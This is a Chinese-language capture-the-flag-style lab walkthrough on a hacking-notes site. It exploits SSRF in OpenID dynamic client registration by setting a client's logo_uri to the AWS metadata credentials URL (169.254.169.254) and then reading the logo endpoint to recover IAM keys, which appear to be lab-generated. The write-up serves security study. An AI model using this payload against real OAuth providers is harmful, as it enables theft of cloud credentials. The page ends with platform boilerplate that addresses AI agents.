> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# 通过 OpenID 动态客户端注册导致的 SSRF

### 通过 OpenID 动态客户端注册进行 SSRF

**实验目标**

本实验室运行一个动态 OpenID\*\* 客户端注册功能。客户端提供的一些数据会被 OAuth 服务不安全地使用，这为……打开了大门 **SSRF**.

目标是利用这个漏洞访问以下内部端点并恢复机密信息 **云访问密钥** 来自 OAuth 提供方：

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**初始访问**

你可以使用标准用户账户进行连接：

* **标识符**：wiener
* **密码**：peter

**发现 OpenID**

通过分析 OAuth 提要，我们识别出标准的 OpenID 配置端点：

```bash
/.well-known/openid-configuration
```

该资源展示了 OAuth 提供方使用的所有端点，包括：

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `授权端点`
* `令牌端点`
* `用户信息端点`
* **`注册端点`**

这里的关键字段是：

```
/reg
```

<figure><img src="/files/379f7f9b87f7062d343a104e730a7bbd658a3140" alt=""><figcaption></figcaption></figure>

它允许动态注册新的客户。

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**OAuth 客户端注册**

一条查询被拦截以 `/reg` 并转换为一个 **POST** 带有以下头部的请求：

```http
Content-Type: application/json
```

一个最小记录可使用非常简单的 JSON：

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

服务器通过创建一个新的 OAuth 应用进行响应，并特别返回：

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

这证实了动态注册已启用且没有限制。

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="/files/531eedbaaaf53eed6b4d181f52a967bbf34576d8" alt=""><figcaption></figcaption></figure>

**通过……进行注入 SSRF `logo_uri`**

该 `logo_uri` 字段，设计用于加载与客户端关联的图像，尤其有趣。/ 它在服务器端被检索，而没有严格的 URL 验证。

一个新客户端被注册，并带有一个 `logo_uri` 指向 AWS 内部 IP 的：

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

服务器接受该请求并返回一个新的 `client_id`.

**访问客户徽标**

每个客户都有一个用于获取其徽标的端点：

```
GET /client/<client_id>/logo
```

<figure><img src="/files/b9af732ca37e5927ae84968e78ae33b4b7255fba" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="/files/368c26d9f3a563beceaf572abec924276d7a533c" alt=""><figcaption></figcaption></figure>

使用 `client_id` 先前获得的：

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**AWS 元数据外带**

答案不包含图像，而是直接包含\*\*内部 IAM 凭证\*\*：

```json
{
  "Code" : "Success",
  "LastUpdated" : "2025-12-31T18:55:47.398604832Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```

`SecretAccessKey` 是验证该实验室时预期的值。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
